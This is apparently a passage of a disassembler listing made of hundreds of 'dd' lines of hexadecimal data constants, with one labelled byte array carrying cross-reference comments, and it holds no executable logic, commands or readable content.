		dd 45A7A807h, 3E50F920h, 7807EE59h, 2F9C00F6h, 75F7BCF1h
		dd 5690FF7Eh, 1D560600h, 0DA4976A4h, 386479ABh,	0AD0FDDA0h
		dd 1BE0EFFBh, 0D5F19EBh, 80E52F3Bh, 3F5C535h, 8277Ah, 3C67620Fh
		dd 0BC3961B9h, 0F2BF0C00h, 185AD496h, 0A46F00EEh, 8A0B8E1Dh
		dd 48004C6Ah, 0AE88BD7h, 3259914h, 0D3A64641h, 93A75283h
		dd 0FECF8E3Ah, 80E2F484h, 861D4AEDh, 92CE8B00h,	0BB5AB487h
		dd 470D0FD7h, 50801BBEh, 28126870h, 4D734F00h, 0D70CF81Fh
		dd 345E0299h, 1AE3443Ah, 0C3B1C4C0h, 1D4C8200h,	0F0CC1C0h
		dd 181F461h, 1B70CE8Fh,	0C037A9AEh, 0C200B9BFh,	34AFACA5h
		dd 79047FAh, 0CC1D4D66h, 0DE5D0355h, 5E54FDC0h,	3EEE3100h
		dd 0E1B32B3Bh, 0CAD3002Dh, 0AA7C8DFEh, 440FA25Dh, 0E7B23009h
		dd 6450A10Dh, 346B475h,	7917878Ah, 34C0DC3Bh, 0A207C433h
		dd 22CEC81Fh, 0F691D910h, 8CF400BBh, 78FD4963h,	150024BAh
		dd 32101D36h, 8F79F5h, 0D39302D4h, 0BF9B312Bh, 18AF040Fh
		dd 0FD4BA087h, 1EF03B7Bh, 4F0F0108h, 77839BF8h,	5E90C15Ch
		dd 4D7404B8h, 0D6009C79h, 10D48261h, 35A4AEFh, 0CE94B59Ah
		dd 0B9B0EA5Bh, 0E9009EC8h, 7802D601h, 187D25F4h, 29494115h
		dd 9A0E3BF1h, 0EEDBD9D0h, 2412E771h, 36FEF3B0h,	1BC60006h
		dd 51E2145h, 27009AAEh,	0A9D5DA13h, 13F567Ah, 0D91F9462h
		dd 200EC838h, 7C0011A8h, 0BC820DBEh, 0FFAAB0h, 16EC977Ah
		dd 8133D340h, 6AEA0600h, 72767B1Ch, 981E0057h, 357CC9B3h
		dd 63005458h, 0AC9945D2h, 7768Ch, 933882Fh, 0F83B287Dh
		dd 0C2734A00h, 1343B437h, 0F6D100C1h, 50F2D54Bh, 0C579566Bh
		dd 0E321CA00h, 31835BECh, 9BA5004Ah, 22EDB6F5h,	500F8BFh
		dd 71422B06h, 0E6B94123h, 2670B14h, 0A601DBB6h,	0D8B3D18Eh
		dd 4B041B84h, 0EEE05C4Ah, 97B7480h, 76FB008Dh, 0EBF1BB7Ch
		dd 0CC00692Eh, 6C0B9CAAh, 3E42C06h, 0B981ACD2h,	0A9C0A071h
		dd 55EA1776h, 83001A70h, 0D7B06977h, 72AA23Ch, 6F4436E8h
		dd 58C8F089h, 7807D1F2h, 183F5384h, 49707577h, 6CF9FFh
		dd 0AE2BA59h, 550189F3h, 214F5600h, 7C63DF44h, 0CEAB0033h
		dd 0F0A8CD06h, 2C036B84h, 7DB10FFh, 0C1D4B871h,	77040018h
		dd 6E4F2757h, 61005FF3h, 8730532Ah, 38E7C5E1h, 1E001D8Bh
		dd 6A9F4282h, 0B70018F8h, 0E096655h, 1E49456Eh,	809ACA64h
		dd 0A05B3DFEh, 691476ADh, 1CB07A9Dh, 0AF40247Ch, 2ACCD450h
		dd 70F900B3h, 594015B8h, 460EB107h, 0E08325E0h,	74097D84h
		dd 0BB9D00C5h, 923212F7h, 7A03DD98h, 0F01F39CAh, 6794806Dh
		dd 1FEE1h, 0DE193237h, 7C7446DFh, 8BFE001h, 147753A5h
		dd 0D1F01ACDh, 81B00067h, 591DF86Fh, 8F06D42Eh,	2F3E9D90h
		dd 40FA0072h, 0B106B64Bh, 0D0B5E80Bh, 668F03BEh, 0C3877E1Ch
		dd 4CDCC6D8h, 17F7BF01h, 4AADE2ACh, 336A91CCh, 0D8281A81h
		dd 34B03AB0h, 0B9BCDF01h, 0C5EC30E8h, 0F713880h, 77C95D54h
		dd 905B9D00h, 88336BA1h, 797503E3h, 569BF283h, 0BBA025E3h
		dd 0DA71E817h, 6591F00h, 5B7E6F8Dh, 159C0085h, 0ECBC7F19h
		dd 0C800AF4Fh, 3F667C2Ah, 7AE887A5h, 6FFB00ABh,	31C542FFh
		dd 0F600237Fh, 91652B39h, 0B0692F44h, 0CCF223h,	5A4EC694h
		dd 155CA47Bh, 47FFA701h, 39B11838h, 0F4E4A5D1h,	5275070Eh
		dd 0E04D70DFh, 0DADB5ED7h, 0DC739D00h, 99F077Dh, 0E3FE0244h
		dd 0E0BC1916h, 0E26D62E0h, 5FA5DB0Fh, 60BFAF6Bh, 20B4D660h
		dd 2B70C054h, 0E715EE2Fh, 803081C0h, 6E2359h, 534EB8C7h
		dd 0BADE2AF5h, 0B000C07Dh, 243A0D25h, 0EC9F163h, 47018C2Bh
		dd 59737141h, 9E836062h, 34796507h, 9FB092B1h, 0D4C7C4h
		dd 51AD7628h, 0F04CB9C5h, 3E716800h, 665F8EE4h,	987D07EFh
		dd 61AC343Dh, 30BE4A06h, 720790ADh, 0BFFCC47Ch,	303C6950h
		dd 0C8855019h, 7ABBECA2h, 5ACB1CF5h, 4849800Bh,	56FCE779h
		dd 0F600E190h, 2CC7A15Dh, 30C7B53h, 0BF6BC1CCh,	0B5E81585h
		dd 0FA481AFDh, 5EA400A3h, 0A057AD29h, 42CC00CAh, 364C6331h
		dd 0A60F929Dh, 0E127B57Bh, 0BEC956CBh, 7308083h, 499B7F3Eh
		dd 0F82CEDA0h, 5BA1200h, 5B75AF9Ah, 8AEF0065h, 5F024997h
		dd 0B7007C2Fh, 0D872D656h, 3240770h, 0DE32A8ACh, 3D99F579h
		dd 40B44196h, 202286h, 71D3414Eh, 166002h, 2CDD1584h, 46962E9Bh
		dd 0B02B9401h, 35AAE861h, 0D8DCDFD9h, 29CE00D4h, 0BE5986F0h
		dd 8D0062E5h, 9714977h,	7ABA7C7Fh, 0CDD10087h, 1A95253Eh
		dd 1C03B252h, 3D17129Ch, 0E0F09FEFh, 0D541FFh, 0A5F806B5h
		dd 0AF37F3BEh, 0DCB26C00h, 11174B7Eh, 0F65DF6E9h, 329900F4h
		dd 6BC42ED3h, 52C9A43h,	1617BA76h, 0CB52D603h, 0E896C82Bh
		dd 223A0E68h, 90404CE4h, 0B0492C62h, 89A44A1Ch,	1FA35F01h
		dd 2620376Ch, 0F8B52653h, 0ABBF000Ch, 0D9451B0h, 92C1561Fh
		dd 0E2377800h, 0EC4A4Ch, 0AE856DC8h, 19367A7Fh,	64B80D07h
		dd 9D60DFDAh, 38DF4ABh,	25B175CCh, 0E2FB03E7h, 0F8498289h
		dd 5B3F6296h, 2677BF0Bh, 0FB07F525h, 0B8B12914h, 9BEC7298h
		dd 0CB400A4h, 796B641Fh, 100774C3h, 203E0FBEh, 6904C120h
		dd 0A3B2001Dh, 7725EB4Ah, 0FC004D10h, 1F192CA5h, 0DAE575h
		dd 838BE88Fh, 33BBBA7Dh, 0A395EF00h, 0FADC52DBh, 0ADF01F67h
		dd 0F8F600B6h, 494D234Ch, 50056E05h, 41C01639h,	98FF29h
		dd 0A3DAA936h, 0F00DB169h, 0A1223300h, 264A90C1h, 0E2DB398Ah
		dd 5F087C81h, 0C892FB2Dh, 4514F4B2h, 8541C5h, 0C7E902B4h
		dd 2E0633A7h, 0F9398h, 43C1EF5Dh, 0A507D112h, 0D22749BFh
		dd 0EBE1BE70h, 0A3EE0080h, 0B2890A6Ah, 2CE08C54h, 0E4FD0871h
		dd 0DE00A1AAh, 11569643h, 295434h, 0B6BB914Eh, 57FC9C23h
		dd 0E9229403h, 804CB4C2h, 1D4032BFh, 8020D8B1h,	0AFCB806Dh
		dd 4CF48C76h, 83AF517h,	5A245E07h, 895232E0h, 4D590038h
		dd 5F5E9006h, 74016669h, 6F7E536Dh, 9609747h, 2A8D00C7h
		dd 0B7E83E05h, 0FD586E87h, 0C1950569h, 3B80E4CBh, 115308Dh
		dd 0E0BAF10Eh, 30109AAFh, 0B4985DF8h, 218BF400h, 119DC08Eh
		dd 0B83C384Eh, 0E36707F9h, 0F1F675FBh, 0E0B2122Dh, 89003A8Ch
		dd 87A72C02h, 98FBF117h, 0EE0D00B2h, 8508C97Dh,	0D20172E1h
		dd 3FD329B6h, 40FE9F99h, 0C40BE0h, 720A4A54h, 0E19ADA44h
		dd 9C36372Ah, 0E16348h,	886204ECh, 18126h, 0F95CE874h
		dd 3B12BDFEh, 2F0F0E0Fh, 0FDA98061h, 2C20CEEBh,	0E8E3C68h
		dd 0D12E0385h, 0D0C84300h, 7648EE12h, 49AB0010h, 69673819h
		dd 24E000F6h, 61A3AA2h,	53001293h, 0B73364C5h, 0FAE678h
		dd 905FF847h, 4ABB8A5h,	69F16B09h, 4D9401F3h, 5FC79DFh
		dd 2BC0083h, 0BDA9011Bh, 96006F2Fh, 4AAB683Dh, 7D24DDh
		dd 7F0CEF48h, 0EE9D6DF8h, 17E7751Ch, 10A29840h,	54A7EAh
		dd 0E3AA9CE5h, 0DFCD197Ch, 3F3DD91Eh, 7E8C1EC0h, 854076h
		dd 0EC32283Ch, 0C9CFBF49h, 80868D3Bh, 0B89CDAD1h, 70BB4F3h
		dd 0E1FC2004h, 0DFCE2070h, 4F01F7CCh, 7D4AEA81h, 2130AD4Dh
		dd 0BB8C26B0h, 237400BCh, 0CC9D1C29h, 80E0C63Fh, 60E9F45Ch
		dd 0FD696Dh, 1FF58622h,	2878CEDFh, 0A58858h, 0BE65E85h
		dd 0EE7AE8E9h, 8630073h, 0EDF73296h, 0A9260784h, 0A885BC4Fh
		dd 0EC0E7561h, 0D86640C0h, 0CECC229h, 0EEC4CED7h, 0E00DB18h
		dd 87DCB42Ah, 0C172643Bh, 0A5AC5331h, 5848807Eh, 0CEE5E9CAh
		dd 102204E1h, 0C085B1E0h, 0F2622528h, 0AD0D1D01h, 0DFFEEA8Bh
		dd 573F70h, 0FFDA5BB9h,	0CD56D36Fh, 750FFB0Ch, 0F85E5054h
		dd 0B9ED0071h, 0B08476C7h, 0F80063EBh, 0AE87CD1Ch, 0E4F04ECCh
		dd 77FF0061h, 0FEDEE8A2h, 6E025C3Bh, 0CD5376BFh, 0B2DAE0A6h
		dd 97C0C09Eh, 8720ACE3h, 0A34D2186h, 0E524C200h, 0CF796Eh
		dd 59543852h, 2CA1CA1Fh, 34038607h, 0E340A3DDh,	498593h
		dd 5F512F7Eh, 82CCA2D0h, 9F150600h, 0B7274413h,	3DEA0320h
		dd 2B921170h, 80FDC1B3h, 7FD0CA2Bh, 43350600h, 0CB30692Ah
		dd 0D74F0008h, 4AB6FFADh, 0A800EB3Bh, 320FE16Dh, 7AC86125h
		dd 2ABC8Ah, 0F923C04Dh,	0F3FAE40Eh, 0F67E0500h,	0CFCE47B0h
		dd 5A5400C5h, 5B512560h, 2F01E08Eh, 1742AC0Bh, 0F0F9D591h
		dd 0FAF9E1F8h, 480C0003h, 0C692CCD8h, 31007A4Fh, 0DB8613B6h
		dd 5D6CBEBh, 4EA89976h,	0AD98408Bh, 0B7E9EF0h, 571601Dh
		dd 0A3E15783h, 0DB210044h, 59DDED88h, 7F0FB6E6h, 84B92FD8h
		dd 800A8D35h, 63E100ACh, 0C9E06111h, 0FD0984F0h, 32735Ah
		dd 4B097BA0h, 30866165h, 244D3999h, 14003054h, 606C11DBh
		dd 16791Ch, 0DDE50DFEh,	73DAA1BDh, 3887A624h, 0A0F96E00h
		dd 0C5A8B1h, 0C330D134h, 0FC04D568h, 23EED901h,	551DCA7Ah
		dd 54081D0h, 7443722Ch,	708090ABh, 1C3E03DAh, 132A9626h
		dd 0FDDCA600h, 7FAF4CEh, 0E341F6BAh, 4A5D007Eh,	6C003022h
		dd 6DA3B904h, 9CC010h, 4BED7F7Dh, 1AF0D66Bh, 0DD21F30Fh
		dd 9ABAC0F2h, 137315h, 925EEAE2h, 7CFEE7CEh, 59E66D07h
		dd 71456FACh, 0B8EADD00h, 8F2657h, 7F167A70h, 0DA2336AEh
		dd 9047F900h, 8C4DEEACh, 9F7200A8h, 0D6D46D80h,	197824D5h
		dd 747E40C0h, 1B0C0CBh,	75399C36h, 0D0134C0Eh, 20D8F94Dh
		dd 3C8EC0D4h, 0C48197B6h, 1F1C63ABh, 7EA08980h,	7908013Dh
		dd 70BA8EBDh, 72B0703Ah, 84E07EC1h, 10FCE900h, 0DD6C9B51h
		dd 18F52AD5h, 0C02E0440h, 63143683h, 0F541016Fh, 1FD8C09Fh
		dd 609CE119h, 72678D90h, 6280E948h, 0E06C9A93h,	6F880016h
		dd 8B3FE670h, 6B00B868h, 32FF6D48h, 0BB9F94h, 0BE2D1609h
		dd 95A91F82h, 44D0AA00h, 0FE8E56B0h, 3F575E6h, 6D367967h
		dd 26B0FDBBh, 0F800FFCBh, 899854AFh, 0D35CE1h, 0B2D25B86h
		dd 96B1F184h, 0D90134F8h, 0BC60E376h, 12F4D194h, 0C7800037h
		dd 0E1642679h, 0F41E3F3Bh, 0AA006FC5h, 0FC320335h, 9B2F001Dh
		dd 75648268h, 0A16055CFh, 9F06E840h, 461D089h, 18A2A2B8h
		dd 87E0417h, 54CE20EAh,	8A56007Fh, 1DF3E82Fh, 6BA43D00h
		dd 399F6C22h, 0FB16004Bh, 2DBB95CDh, 9D5FD799h,	5E2BE0h
		dd 944FD5Bh, 0A6104FE7h, 6E9950C0h, 1FAA0B17h, 792A2Bh
		dd 26FFA91Ch, 46009BFCh, 2CFE6693h, 51B2BABh, 325102FAh
		dd 8F2038A6h, 0FB001D46h, 3994427h, 88DE06DFh, 55BE9606h
		dd 0CB892CC8h, 111504C7h, 82848718h, 887E406h, 4FAE80D3h
		dd 510016EDh, 6FF9FC8Dh, 0D59823h, 0FEAF27Eh, 0B906A76Eh
		dd 9601FAECh, 89A23E04h, 88E191A4h, 0BADC6080h,	41307B17h
		dd 0F10A0400h, 71D77FFFh, 98465029h, 1C42B0BEh,	940FEB27h
		dd 7001B421h, 8F7701A2h, 5BB7C0FAh, 0C40773FEh,	9FE591D8h
		dd 1BB661CCh, 0B00FEE1Fh, 62BA1019h, 205181B0h,	0F8F3BE22h
		dd 472A6EDFh, 0DB9A9D92h, 592010B0h, 8E9C0548h,	6CD73A2Ch
		dd 95019240h, 5178E98Bh, 0B5D847D2h, 3A8700D0h,	4A8FDCEh
		dd 316135E8h, 0A25D5818h, 3BE1BAF0h, 10EC6193h,	4A1E7741h
		dd 0B500328Eh, 10A3E59Dh, 0E61E009Eh, 0EE1D1275h, 1100CFC6h
		dd 5DB553AEh, 1F6189B1h, 3C49FF9h, 2E5A7A79h, 3A8F37C8h
		dd 0EE02E179h, 783EECAFh, 0A74C1011h, 46983204h, 0A27C8E06h
		dd 0F25B040h, 0D3E61FA8h, 0FEBA5DA0h, 7400E8BDh, 0C0047A40h
		dd 639F67F2h, 5279198Ah, 0B5FFC0E4h, 9028E66h, 0F65AE651h
		dd 2320B0AAh, 0B14B428Dh, 40E81C2h, 89B972A9h, 0BB88E601h
		dd 560F0EE1h, 80118D93h, 1C5439ABh, 3562328Bh, 209C5C80h
		dd 0A0590211h, 4C8080D8h, 4185E0F2h, 1C8B2E5Eh,	18407B48h
		dd 40D4D197h, 1084A14Ah, 0C2E689D3h, 38A2EA22h,	590A3EFBh
		dd 40DD74E4h, 2BE596F0h, 220B601h, 0DF232D81h, 0E0E21515h
		dd 0C676B204h, 0FA6081D6h, 2C29C85Dh, 0A8009DF0h, 3E061265h
		dd 1342F237h, 7EF1B81h,	375D6A8Bh, 11D9C032h, 0C700F7E5h
		dd 4536B7CFh, 14DD5912h, 207AD0B1h, 0A4248EC7h,	3D102A6Ah
		dd 78FBE0CCh, 0BC1F23DEh, 0EC3CC1E4h, 85FFB908h, 0F81DD6BBh
		dd 0F0489842h, 494254ACh, 0DA4617C0h, 0B457FF88h, 20318A60h
		dd 894B058h, 69BDB857h,	50FF5F1h, 80AF1C52h, 43396078h
		dd 0F8E881DEh, 205EAE21h, 8B811D30h, 0AA018952h, 20D63739h
		dd 0A8337D55h, 870E12h,	26144237h, 0A89B3641h, 65324E62h
		dd 0AF4030C8h, 6C23FE0Dh, 2C62E454h, 1D870272h,	53B6E09Fh
		dd 30B6213Eh, 21D3E04Fh, 0C2072FCDh, 9F0AC280h,	8B1A211Eh
		dd 7386B940h, 0C74321DAh, 604B4A51h, 65405407h,	0DEF948A0h
		dd 0DA22000Bh, 0A98DE482h, 9F20AD3Fh, 4168AC32h, 139FE666h
		dd 1468EA3Ch, 8CAEFA01h, 8F0F1697h, 0BD36081Fh,	6340ECEBh
		dd 6185A07Dh, 0BED7286h, 0E099D104h, 1A212A08h,	0F617A7E0h
		dd 0C58E4729h, 6028C3AEh, 0CB181036h, 0A74AA80Ah, 9AA8580h
		dd 0CA08CA43h, 405A601Eh, 0AF353313h, 41921840h, 0B52449F3h
		dd 2005E4C6h, 2C9871A9h, 15400247h, 35328312h, 4163C3Eh
		dd 514CAAACh, 91D6D850h
		dd 0F20820AFh, 1C4C260Dh, 9BB9012h
		db 0A7h
byte_530055	db 0BEh, 0A8h, 0B8h	; DATA XREF: ___:off_437A2Co
					; ___:off_437A44o
		dd 2616DD48h, 5488BD40h, 40DE0121h, 8DB646B3h, 50110921h
		dd 20A5D785h, 0FC8C5401h, 405BB5A8h, 23758903h,	7F97F51h
		dd 41E53047h, 1549A01Dh, 41B4E40h, 735AF622h, 0C51D0372h
		dd 44B39CBCh, 51D81800h, 0AE3E3B09h, 0F0DBFAFCh, 0E8D0555h
		dd 20AFEFBDh, 0EAD15C20h, 41A1D742h, 88020E90h,	0AD1EDE32h
		dd 4019523Eh, 437F66C0h, 888FBB37h, 3A508FEDh, 7CC31CE6h
		dd 0F151E15Fh, 710E204Bh, 0BCE8B8D0h, 0B85F9h, 61E0E698h
		dd 8FA8A221h, 0A0F0DD90h, 6E11E214h, 89E2538Bh,	0E6800216h
		dd 35AB6A66h, 0A110A095h, 69C001B4h, 0A6DA9F3h,	28903584h
		dd 0A9E605A5h, 78DD60A0h, 0FD3CCD20h, 9200463Dh, 0D5C1105Bh
		dd 928FBCD6h, 82202D79h, 2821B140h, 0CD0815BFh,	0FE837006h
		dd 1F3531EDh, 20D12BC0h, 27E62A80h, 911098BCh, 6E55040h
		dd 63BE0187h, 1FA890B2h, 60016114h, 0ECB52BA0h,	0A2C0DC52h
		dd 76809EF5h, 0A0525244h, 4E0739B1h, 21AB0580h,	0A02A6CCEh
		dd 2DE0E921h, 85153AC7h, 402C3D45h, 636A14C7h, 1A8A0A1h
		dd 322341C3h, 2E5DB0C3h, 6F82071Bh, 0FFFA1AFEh,	0B313CA01h
		dd 8E5420FFh, 0A742AC0Ch, 22DE5106h, 0B01C6419h, 0B402EBBh
		dd 1DB56DF3h, 2D680F5Ah, 7CE3099Dh, 381E4277h, 139851DCh
		dd 0F3F9988h, 0A217851Eh, 0BE364681h, 3778EC4Eh, 79965B0Fh
		dd 0AB8680BFh, 49E2CFh,	3E1DA211h, 0D2BE10A4h, 9F2F973Dh
		dd 3B0013FAh, 0BBC35267h, 31997CDDh, 6631F809h,	0A720DA2Ah
		dd 80145EFCh, 6300FF81h, 0E9C2D73Fh, 6789B9Dh, 0A9EDD68Fh
		dd 0B030A241h, 1B2650A0h, 7896035Eh, 5872D20Eh,	2ABE1B8h
		dd 0C4851500h, 4224C968h, 3E1E0022h, 1294E656h,	4600A162h
		dd 19AA2A88h, 4788DC9h,	6A8E5EBFh, 0CCB1065Ch, 9CF8E8h
		dd 0A815253Ch, 238C5526h, 0BF447E03h, 0B3337F34h, 0CE301D4Eh
		dd 8DC70353h, 207EBA77h, 220EC903h, 90C488B1h, 21B302h
		dd 0A05EBE7Ah, 74C21AF4h, 3CCF5C00h, 0E54BD13Dh, 20BB00C8h
		dd 49ABC6EDh, 0C330EEFCh, 7F5808Ch, 9CE450B6h, 0AB8400A3h
		dd 0C10CE54Dh, 9000D0ACh, 0C207B297h, 5CF417B1h, 0C900CF85h
		dd 0F49B86Dh, 710FB9CAh, 80919A40h, 907C17A3h, 0A4285210h
		dd 0BECF9700h, 2DA575ABh, 27967918h, 28337B18h,	729098B0h
		dd 7CFE006Ch, 4867B524h, 4639C60Fh, 5FA08066h, 0E42FF7Fh
		dd 9B882AB3h, 7F9F2A8h,	0B24B2697h, 8E018882h, 0A160E612h
		dd 33BB2886h, 1003192h,	9559EF66h, 91EEBDDh, 61A8280Fh
		dd 7FF1000h, 16022DF6h,	0FCAD22A2h, 42D0A738h, 7832FCEAh
		dd 80D7299Eh, 48B0590Eh, 60100A4h, 0DD941D17h, 3B524777h
		dd 724BE8A8h, 457801F9h, 0E40219BFh, 53F0407Eh,	0E7754CC4h
		dd 0F005CF8h, 0EE61EBBBh, 7EE0F907h, 7C8D1E32h,	7C3DB5h
		dd 60E49155h, 6F3A39E8h, 0AAC07501h, 33FFAEA9h,	1B4C4BC4h
		dd 31B73B79h, 0C084E093h, 0FE3117C4h, 180A4A33h, 3A9BA035h
		dd 0EFB73E9Ah, 0D708407Dh, 60F23F18h, 1DA27580h, 162C4B4h
		dd 0D35D3D9h, 0CB2182B3h, 80DCE47Dh, 0F50F7550h, 5C731F77h
		dd 0E3A68053h, 0E5DD6A7Bh, 82D3400h, 4B84132Ch,	51CE3AD9h
		dd 400A23Ch, 0ACC47E14h, 0D030D73Dh, 1FCE192Dh,	985900A3h
		dd 7310C79Ch, 0D400F3DDh, 0FA483F39h, 0FC3FE7Fh, 8DBF427Dh
		dd 0D3F8D603h, 0DFA8D18Bh, 43FA737Ah, 0A7A5F600h, 3EFA85B5h
		dd 0EFC30048h, 32C149A6h, 0B6666CE8h, 688A6Ah, 0DFA32E15h
		dd 8457D3B9h, 80473C3Eh, 92BA5B8Bh, 49CA5h, 0C9A6CC12h
		dd 32840A2Ch, 0BF5B80C0h, 0AB9AE2h, 0A9F7FCCBh,	0C9418803h
		dd 0D30D0B1Ah, 0DF44C048h, 0D0CF6139h, 0F0EE5904h, 9D0CE692h
		dd 195A0CABh, 0B20F07FCh, 0C3427AFBh, 3CC0C3E9h, 2EF05C3Eh
		dd 0B8E03670h, 9E792B71h, 0F37AD103h, 195AFF0h,	0D6F97310h
		dd 414667F1h, 0DCEF6980h, 9800DBBDh, 1747A4C2h,	5120D7h
		dd 3EE8F4D2h, 0D26BC9Ah, 0AC3DA128h, 0C88A900Ah, 6F87BC5Fh
		dd 30CC8BC0h, 0AA5BF88Dh, 5FC1400Ch, 28CBF89Fh,	180C5AB7h
		dd 31504D4Fh, 0A77C9353h, 5EAD0D1Fh, 9DD13243h,	10D2C397h
		dd 0AFF17B8h, 8041259Bh, 9F6D7F85h, 0B7ABA001h,	3BE9DF13h
		dd 0A19C8043h, 80FEFFCFh, 4FF02FA0h, 10757DA0h,	613ACC3Dh
		dd 9F587719h, 11A71701h, 90E7E7A1h, 28BE0F9Dh, 39CC6A49h
		dd 8EB0C556h, 310D27D8h, 95849E50h, 8DF18A11h, 6415007Ch
		dd 13CE476Ch, 24AE49CBh, 19DCF436h, 0C7801F48h,	2A90104Fh
		dd 6F018471h, 332377D8h, 304C8DD1h, 2D3D0F06h, 0CFE9A15Ah
		dd 40F70C07h, 8E44DF12h, 10807A52h, 0B78EA745h,	4FA3464Fh
		dd 0E7C1F1D0h, 0E5A84096h, 0FC28228Ah, 104A49Ah, 7027FD3Ah
		dd 0D8600341h, 37898E87h, 5B146543h, 0D865E84Ch, 0C0B8605Dh
		dd 0A3BFA41Ch, 0E8C46CF6h, 3087448Eh, 9F413CAAh, 400875A0h
		dd 8489A821h, 217A466Ch, 0B182243h, 62302148h, 30C78D79h
		dd 0AD00073Fh, 60D450BDh, 0D62FCDh, 810EC5D3h, 3A30961h
		dd 54005BF0h, 571DA1B2h, 0B090D1h, 0CA7DB723h, 0D692D29Eh
		dd 0B3DF0603h, 0CBC70FA9h, 656FE847h, 0F50C0F39h, 57E0349Eh
		dd 25C2BDDEh, 1383B604h, 86BEAE12h, 0DB223183h,	1B20C66Ch
		dd 4B0098FCh, 6D7CB93h,	0ABA8A767h, 0B5AF9330h,	28D71806h
		dd 40930051h, 0DA54D32Bh, 32010CC6h, 0B2F2A689h, 6048137Dh
		dd 0A51F2109h, 0CFC14308h, 0D36267C8h, 2EC12E71h, 432F319h
		dd 61F19C44h, 0C9FA961h, 56122105h, 0A40E7184h,	3C985B22h
		dd 0D52236F7h, 740B2341h, 0D8FFD30Ah, 55499C83h, 468009Bh
		dd 0B1A88348h, 38C4374Dh, 0D7615797h, 7958521Ch, 42496538h
		dd 1071112Eh, 310DF184h, 0C458ACB3h, 946D53ABh,	883C3329h
		dd 0ED62D63Bh, 9B9D202Fh, 67314149h, 35BAC004h,	8D1030BCh
		dd 38F989AFh, 4262E548h, 0AC2D2904h, 3805B112h,	0E8061A09h
		dd 10313B0Dh, 85013921h, 6C2011B9h, 84A52E99h, 0DB60EB49h
		dd 6C09B57Ah, 0A60158Fh, 62DC356Fh, 18B648BBh, 0C511F714h
		dd 9C932B30h, 848A0F8Ah, 0CBA88D67h, 6FD83A08h,	0A5C11208h
		dd 83089EE1h, 0DB3F108Eh, 482384C6h, 0C271F61h,	4D3CA63Dh
		dd 318A08D9h, 0BCB9613Ch, 8E7308A4h, 42CED73Bh,	6826E71Ah
		dd 631B3C02h, 61724466h, 0A099218Ch, 63C1D94h, 156FCBB6h
		dd 9CFC8111h, 20E52C20h, 0BB440398h, 6CF5547Bh,	0D8EB2021h
		dd 49E6EC0Dh, 4442716Dh, 7FD88203h, 0C89327CDh,	60B06B0Ah
		dd 0FF083849h, 0B92386F4h, 66890462h, 38ED2204h, 82429A91h
		dd 8A9C7F2Bh, 65D8DD8Fh, 4F3C33B7h, 616931BCh, 4A203D18h
		dd 2FA4002Eh, 374B30CAh, 3E7E7A0Dh, 380916B0h, 218960D1h
		dd 1C9B3ACh, 9D872080h,	0CB6AD861h, 5C7211F8h, 0C0413B30h
		dd 73A0CA4Dh, 0EC3530D2h, 1C6FCC51h, 34D87961h,	2448C8B1h
		dd 84DE4CBh, 12A8170Eh,	631EC542h, 0A09810C8h, 0B1186428h
		dd 58A03522h, 3842DFA5h, 580E6C30h, 0C44B628h, 59601B86h
		dd 0E5120D10h, 0E44F3706h, 19038C1Dh, 0A2CB0F83h, 310E7695h
		dd 2D3919A2h, 729FA882h, 0AF558800h, 5830C004h,	96BC5219h
		dd 0C13E0E05h, 944242DEh, 16D62FB1h, 4E6B5F18h,	31578E0h
		dd 7624413Ah, 81010D49h, 601A31D5h, 0D0864D99h,	29142C17h
		dd 69124671h, 800261C6h, 0A1058726h, 3E7B8DB0h,	496038BBh
		dd 361B6955h, 0C0244407h, 0E8C5F48Dh, 0F56A9C42h, 32CCA2D7h
		dd 14A8919Ch, 0A44C3EE1h
		dd 413D0171h, 0FD498138h, 0DB1020ECh, 0A9030616h, 0C8D99858h
		dd 16692C4Ch, 0FCA80C4h, 0D29D78E3h, 492D3A05h,	9820B0B5h
		dd 0A0A9FE61h, 9016F8A4h, 0D82DE65Ah, 0B771D0E1h, 0D2720A03h
		dd 0C8D42CB5h, 0E4D7E1h, 60096E76h, 1B6F3C96h, 0A2296C60h
		dd 0D3242Eh, 4F478506h,	0F9132A8Dh, 1073F830h, 88FD6455h
		dd 0D78DDC5h, 8633EF00h, 7E25D3E2h, 7DD2F023h, 60F2009Eh
		dd 34918A38h, 0F550265Bh, 0C678E1BEh, 3F9EC100h, 0DD540776h
		dd 4510C05Ah, 0FE80E34Fh, 0F0B630A9h, 0EE1133F0h, 7B00D411h
		dd 0EF610AE1h, 58A08A54h, 2B605F3Dh, 234DF4F1h,	0B2F501EBh
		dd 0D6D33B53h, 9108DF5Eh, 0BC138E74h, 6DB96800h, 0F9F60346h
		dd 0C1BFE2FEh, 6E21234Fh, 0AB300C01h, 336C7FD8h, 2DA012F7h
		dd 9C1A200Fh, 77CF02DDh, 118AF5Ch, 32C24739h, 3754B450h
		dd 0CC3E6BEh, 528F439Bh, 3868DCA8h, 6201CC20h, 9B987FC2h
		dd 37E1F181h, 85237DD3h, 0D92706A0h, 0C50A21F8h, 0B1BC5C7Ah
		dd 8AD45B28h, 1486C1B0h, 943C831h, 0F67B4085h, 0AAA400BFh
		dd 0FE025DF2h, 405FF833h, 0A86F9381h, 0C0ABC9Fh, 0EDC2905Ah
		dd 703AE790h, 28BB3EEBh, 0F001D033h, 0EEDC7AB5h, 41E0C003h
		dd 4FBA07AEh, 0E0719F7Fh, 44E0600Ah, 6FC82854h,	589B7335h
		dd 0FD1E2C06h, 0F84D0558h, 1D383676h, 98118694h, 3D0CC0F5h
		dd 292E4061h, 0CC6F0AE1h, 5A06DC9h, 5459951h, 53A5448h
		dd 215F3B28h, 8CECCCA8h, 90604710h, 984B0C9Eh, 9AC16182h
		dd 0C1EFA76h, 0C781708Ch, 0FF8A905Dh, 0DB474986h, 7202385Ah
		dd 0C7AEC083h, 0C1C8A2A4h, 0DC2CA035h, 7FC54FB1h, 4421C086h
		dd 9A47124Dh, 87C6C70Ah, 6285D057h, 0A041EA58h,	3407323Fh
		dd 0A6D22450h, 7B949055h, 5CC12A04h, 0B7E30C48h, 5AD8630Fh
		dd 0D0800C00h, 6AF6C3A4h, 54D40064h, 3716B89Fh,	18C07D0Eh
		dd 0CE097C38h, 10A26745h, 25F4C0E9h, 7111676h, 0E100E8BDh
		dd 0B6428BFBh, 7B037F35h, 0A58E3ABCh, 3E4818E6h, 0B93869E9h
		dd 79E5C00h, 54B7C243h,	5880E936h, 4EECDCC8h, 67000835h
		dd 46C4F9C7h, 6385C9BFh, 0C08868B9h, 89F61CA3h,	330C7BF0h
		dd 10F18C3Bh, 792601C3h, 7654D5B8h, 5598047h, 0AB6E7319h
